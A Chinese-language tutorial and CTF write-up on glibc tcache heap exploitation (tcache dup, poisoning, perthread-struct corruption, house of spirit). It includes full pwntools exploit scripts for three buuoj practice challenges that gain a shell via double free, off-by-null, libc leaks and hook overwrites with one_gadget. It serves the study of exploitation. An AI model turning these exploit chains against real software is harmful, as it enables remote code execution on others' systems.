What's Tcache?
tcache全稱thread local caching,是glibc2.26后新加入的一種緩存機制(在Ubuntu 18及之后的版本中應用),提升了不少性能,但是與此同時也大大犧牲了安全性,在ctf-wiki中介紹tcache的標題便是tcache makes heap exploitation easy again,與fastbin非常相似但優先級高於fastbin,且相對於fastbin來說少了很多檢查,所以更加便於進行漏洞利用。
對於增加源代碼的具體分析可以參考這篇文章: https://nightrainy.github.io/2019/07/11/tcache%E6%9C%BA%E5%88%B6%E5%88%A9%E7%94%A8%E5%AD%A6%E4%B9%A0/
這里只做簡單的要點羅列:
- tcache機制的主體是tcache_perthread_struct結構體,其中包含單鏈表tcache_entry
- 單鏈表tcache_entry,也即tcache Bin的默認最大數量是64,在64位程序中申請的最小chunk size為32,之后以16字節依次遞增,所以size大小范圍是0x20-0x410,也就是說我們必須要malloc size≤0x408的chunk
- 每一個單鏈表tcache Bin中默認允許存放的chunk塊最大數量是7
- 在申請chunk塊時,如果
tcache Bin
中有符合要求的chunk,則直接返回;如果在fastbin中有符合要求的chunk,則先將對應fastbin中其他chunk加入相應的tcache Bin中,直到達到tcache Bin的數量上限,然后返回符合符合要求的chunk;如果在smallbin中有符合要求的chunk,則與fastbin相似,先將雙鏈表中的其他剩余chunk加入到tcache中,再進行返回 - 在釋放chunk塊時,如果chunk size符合tcache Bin要求且相應的tcache Bin沒有裝滿,則直接加入相應的tcache Bin
- 與fastbin相似,在tcache Bin中的chunk不會進行合並,因為它們的
pre_inuse
位會置成1
結合Tcache機制的常見漏洞利用方式
tcache dup
與fastbin dup相似,但是正如上文中所說,它比fastbin dup更好利用,漏洞利用原因在於向tcache Bin中插入chunk的函數tcache_put()
幾乎沒有檢查:
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
所以我們甚至無需在double free時插入一個無關chunk以繞過檢查,可以直接對一個chunk進行多次釋放操作,下面根據一道非常簡單的例題進行進一步的說明:
例題:buuoj -- [BJDCTF 2nd]ydsneedgirlfriend2
WP:
使用exeinfo
查看程序,可以看到是在ubuntu 18的環境下進行編譯的:
因此,需要考慮tcache機制的影響。
分析程序,可以發現主要有:add()
、dele()
、show()
三個功能,同時有一個非常友好的后門函數,執行即可直接getshell。分析add()
函數,可以發現限制了添加的數量最大為8次,沒有限制申請name的chunk塊的大小,看起來沒有堆溢出點,具體的結構如下:
分析dele()
函數,發現有明顯的UAF漏洞可以利用;分析show()
函數,發現代碼執行了上圖結構中的打印函數。因此,我們的思路是利用tcache dup連續釋放兩次相同的chunk,結合UAF漏洞,構造多指針指向同一chunk,隨后即可將打印函數覆蓋成后門函數並執行:
add(0x20,'aaaa')#0
delete(0)
delete(0)
隨后下斷點調試可以看到存放大小0x20chunk的tcache Bin中放入了兩個相同的chunk塊:
隨后我們申請size為0x10大小的name chunk,即可將這兩個chunk依次取出,利用UAF覆蓋打印函數為后門函數,執行show()
函數即執行了后門函數,可以getshell,exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=1
binary_name='ydsneedgirlfriend2'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',26544)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(lenth,name):
ru("u choice :\n")
sl('1')
ru('Please input the length of her name:\n')
sl(str(lenth))
ru("Please tell me her name:\n")
sl(name)
def delete(idx):
ru("u choice :\n")
sl('2')
ru("Index :")
sl(str(idx))
def show(idx):
ru("u choice :\n")
sl('3')
ru("Index :")
sl(str(idx))
z('b *0x400A32\nb *0x400AFF\nb *0x400C5D\nb *0x400C7D\nb *0x400D6E\n')
add(0x20,'aaaa')#0
delete(0)
delete(0)
add(0x10,p64(0x400D86)*2)#1
#show(0)
p.interactive()
tcache poisoning
同樣,由於tcache_put函數在把chunk放入tcache Bin時沒有做過多檢查,我們可以在釋放一個chunk將其放入tcache后,直接修改其fd指針為任意地址處,比fastbin attack更易利用的是我們無需構造fake_fastbin_size以繞過檢查,便可直接將任意地址處插入到tcache Bin中。因此,常與其他漏洞利用方式,例如:off by one等結合,用來在最后劫持程序流到one_gadget程序段或system等函數處。下面通過詳細分析一道例題進行進一步說明:
例題:buuoj -- hitcon_2018_children_tcache
WP:
根據題目我們也幾乎可以確定題目需要考慮tcache機制的影響,分析程序,可以看到主要有new()
\delete()
\show()
三個功能。進一步分析new()
函數,發現限制了添加數量最大值為10,在讀入Data的時候將換行符替換成了字符串結束符'\x00'
,為直接泄露地址增加了困難,可以發現明顯的漏洞在於:
使用了strcpy()
函數拷貝字符串,會多添加一個字符串結束符'\x00'
;分析delete()
函數,正常無UAF漏洞,但是需要注意:
程序在釋放chunk后會進行垃圾數據0xda的填充,為我們泄露地址進一步增加困難;同時,程序存在show()
函數可以利用以泄露地址。因此,我們的思路是主要利用off by null這一漏洞,構造內存結構,具體細節如下:
第一步,首先我們的目標應該是泄露libc地址,由於本題對申請chunk的size限制並不嚴格,因此我們考慮利用unsortedbin中的Bin頭chunk的fd和bk指向main_arena這一特點泄露,由於有上文提到的\x00
截斷問題,我們考慮構造堆塊重疊,利用已分配堆塊的show()
功能打印地址,因此我們先構造內存結構,利用off by null將后一chunk的pre_inuse位置0,實現在釋放時觸發unlink,與前面的chunk合並:
1 new(0x410,'a'*0x410)#0
2 new(0x28,'a')#1
3 new(0x4f0,'a')#2
4 #-->防止chunk2釋放時與top chunk合並
5 new(0x10,'/bin/sh')#3
6 delete(1)
7 delete(0)
8 #-->消除0xda垃圾數據填充的影響,正確覆蓋pre_size
9 for i in range (0,9):
10 new(0x28-i,'a'*(0x28-i))#0
11 delete(0)
12 new(0x28,'a'*0x20+p64(0x450))#0
13 #-->觸發unlink
14 delete(2)
當i為0時,執行第10行后可以看到user_data size為0x4f0的chunk的size位由0x501修改成了0x500,可以認為前一chunk塊已釋放:
為了避免0xda數據影響覆蓋pre_size,循環一個一個字節利用strcpy()
漏洞進行清除,隨后正確覆蓋pre_size為0x450:
隨后,delete(2)即可觸發unlink機制,與前面0x450大小的chunk合並,中間0x20的chunk變成功堆塊重疊的一部分:
隨后,由於從unsortedbin中割出一塊chunk后剩余部分的chunk的fd和bk仍然指向main_arena,利用重疊的chunk泄露地址(此處注意在glibc 2.26下,unsortedbin的fd已經不再指向<main_arena+88>處,而是<main_arena+96>):
new(0x410,'a')#1
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-libc.sym['__malloc_hook']-0x10
最后,終於可以利用tcache poisoning劫持程序流了,此時申請大小為0x20的chunk 2與chunk 0指向同一地址,由於缺少edit函數,我們結合tcache dup連續釋放chunk兩次,再次申請內存即可修改tcache中剩余chunk的fd指針為free_hook,實現申請任意地址chunk,寫入one_gadget,即可getshell:
new(0x28,'a')#2-->0
delete(2)
delete(0)
new(0x20,p64(libc_base+libc.sym['__free_hook']))#0
new(0x20,'a')
one_gadget=libc_base+0x4f322
new(0x20,p64(one_gadget))
delete(3)
完整的exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=1
binary_name='HITCON_2018_children_tcache'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',25879)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def new(size,data):
sla("Your choice: ",'1')
sla("Size:",str(size))
sla("Data:",data)
def show(idx):
sla("Your choice: ",'2')
sla("Index:",str(idx))
def delete(idx):
sla("Your choice: ",'3')
sla("Index:",str(idx))
z('b *0x555555554D6B\nb *0x555555554DCA\nb *0x555555554F7E\n')
new(0x410,'a'*0x410)#0
new(0x28,'a')#1
new(0x4f0,'a')#2
new(0x10,'/bin/sh')#3
#-->
delete(1)
delete(0)
for i in range (0,9):
new(0x28-i,'a'*(0x28-i))#0
delete(0)
new(0x28,'a'*0x20+p64(0x450))#0
delete(2)
new(0x410,'a')#1
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-libc.sym['__malloc_hook']-0x10
new(0x28,'a')#2-->0
delete(2)
delete(0)
new(0x20,p64(libc_base+libc.sym['__free_hook']))#0
new(0x20,'a')
one_gadget=libc_base+0x4f322
new(0x20,p64(one_gadget))
delete(3)
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
tcache perthread corruption
在堆題中,我們常見的一種泄露地址的方法是泄露unsortedbin
中chunk的fd
和bk
,而在嚴格限制chunk大小的堆題中,如果有tcache
機制的影響,我們必須需要先將tcache Bin
填滿,才能把chunk放入unsortedbin
中,再進行地址泄露。於是,有些堆題會對malloc
和free
操作的次數設定限制,這時我們可以考慮偽造tcache
機制的主體tcache_perthread_struct
結構體。在源代碼中對其定義如下:
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS]; //數組counts用於存放每個bins中的chunk數量
tcache_entry *entries[TCACHE_MAX_BINS]; //數組entries用於放置64個bins
} tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;
可以看到tcache_perthread_struct
結構體首先是類型為char(一個字節)的counts數組,用於存放64個bins中的chunk數量,隨后依次是對應size大小0x20-0x410
的64個entries(8個字節),用於存放64個bins的Bin頭地址,我寫了如下非常簡單的測試程序來具體看一看這個結構體:
#include <stdlib.h>
int main()
{
void *ptr1,*ptr2,*ptr3;
ptr1=malloc(0x10);
ptr2=malloc(0x80);
ptr3=malloc(0x20);
free(ptr2);
free(ptr1);
free(ptr1);
free(ptr1);
free(ptr1);
free(ptr1);
free(ptr1);
free(ptr1);
free(ptr1);
return 0;
}
結合調試:
了解了這個結構體后,我們就可以具體利用了,下面結合一道例題進行進一步說明:
例題:buuoj -- [V&N2020 公開賽]easyTHeap
WP:
首先依然是glibc2.26下的環境,分析程序,主要有add()
edit()
show()
delete()
四個功能,可以看到,限制了最多進行7次添加操作,3次刪除操作。分析add()
函數,看到對申請chunk的size進行了一定限制;分析edit()
函數,發現通過size數組限制了寫入字節數;分析show()
函數,實現正常的顯示功能,可利用來泄露地址;分析delete()
函數,存在UAF
漏洞,但是會將size數組清零,這意味着在delete
堆塊后便無法任意修改。所以我們的思路是,通過tcache dup泄露堆地址,隨后通過tcache poisoning,將chunk申請到堆基址,也即存放tcache_perthread_struct的地址,實現對結構體的偽造,即可實現把chunk放入unsortedbin以泄露地址,同時可以通過構造entries的內容,再次申請堆塊到任意地址,進一步實現getshell;
第一步,通過tcache dup泄露堆地址,這里需要多分配一個chunk,以防止chunk 0釋放后與top chunk的合並,由於連續兩次釋放chunk,chunk中的fd指針指向自身地址,可泄露堆基址:
add(0x80)#0
add(0x10)#1 -->
delete(0)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
heap_base=leak_addr-0x250-0x10
log.info("heap_addr:"+hex(heap_base))
第二步,tcache poisoning 申請chunk到heap_base:
add(0x80)#2->0
#修改chunk0的fd
edit(2,p64(heap_base+0x10))
add(0x80)#3->0
add(0x80)#4->heap_+0x10
第三步,偽造tcache_perthread_struct結構體中的counts數組,這里我將其全部修改為上限7,隨后再次釋放大小為0x80的chunk即可放入unsortedbin並泄露地址了:
pd='\x07'*64
edit(4,pd)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-0x10-libc.sym['__malloc_hook']
第四步,通過修改結構體中entries數組的第一個內容,即size=0x20的chunk的tcache Bin頭,再次申請0x10的chunk可以申請到指定地址的chunk,實現任意地址寫:
但是這里受次數限制我們不能寫入free_hook,checksec查看可以看到Full RELRO
保護開啟,無法寫入函數的got表,malloc函數的參數又是我們自己寫入的,無法寫入'/bin/sh'
字符串,所以我們只能向malloc_hook
中寫入one_gadget地址,但是這里將可用的one_gadget全部嘗試后發現均不滿足條件,於是我們必須利用realloc——hook
,通過libc中realloc
函數前一系列的抬棧操作來滿足one_gadget可以使用的條件:
同時realloc_hook
與malloc_hook
地址是連續的:
因此我們劫持程序流至realloc_hook
地址處,可以同時向兩個hook地址中任意寫,我們只需向realloc_hook
中寫入one_gadget,向malloc_hook
中寫入realloc
地址加上適當的偏移(抬棧時push操作的次數不同,我們一般加上8即可),就可以在再次malloc
時先去realloc
函數處執行,抬棧后滿足one_gadget
的要求,再去執行realloc_hook
中存放的one_gadget
,進行getshell:
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['__libc_realloc']
one_gadget=0x10a38c+libc_base
edit(4,'\x07'*64+p64(malloc_hook-8))
add(0x10)#5
edit(5,p64(one_gadget)+p64(realloc+8))
add(0x10)#6
完整的exp如下:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=0
binary_name='./vn_pwn_easyTHeap'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote('node3.buuoj.cn',27084)
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def add(size):
sla("choice: ",'1')
sla("size?",str(size))
def edit(idx,content):
sla("choice: ",'2')
sla("idx?",str(idx))
sla("content:",content)
def show(idx):
sla("choice: ",'3')
sla("idx?",str(idx))
def delete(idx):
sla("choice: ",'4')
sla("idx?",str(idx))
z('b *0x555555554B6F\nb *0x555555554C90\nb *0x555555554D18\nb *0x555555554DA0\n')
add(0x80)#0
add(0x10)#1 -->
delete(0)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
heap_base=leak_addr-0x250-0x10
log.info("heap_addr:"+hex(heap_base))
add(0x80)#2->0
edit(2,p64(heap_base+0x10))
add(0x80)#3->0
add(0x80)#4->heap_+0x10
pd='\x07'*64
edit(4,pd)
delete(0)
show(0)
leak_addr=leak_address()
print hex(leak_addr)
libc_base=leak_addr-96-0x10-libc.sym['__malloc_hook']
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc=libc_base+libc.sym['__libc_realloc']
one_gadget=0x10a38c+libc_base
edit(4,'\x07'*64+p64(malloc_hook-8))
add(0x10)#5
edit(5,p64(one_gadget)+p64(realloc+8))
add(0x10)#6
p.interactive()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
tcache house of spirit
與house of spirit的利用方式幾乎相同(詳見House of Spirit),但是由於tcache_put
函數幾乎沒有檢查,因此構造fake tcache chunk內存時需要繞過的檢查更加寬松,具體如下:
- fake chunk的size在tcache的范圍中(64位程序中是32字節到410字節),且其ISMMAP位不為1
- fake chunk的地址對齊
這里不需要構造next chunk的size,也不需要考慮double free的情況,因為free堆塊到tcache中的時候不會進行這些檢查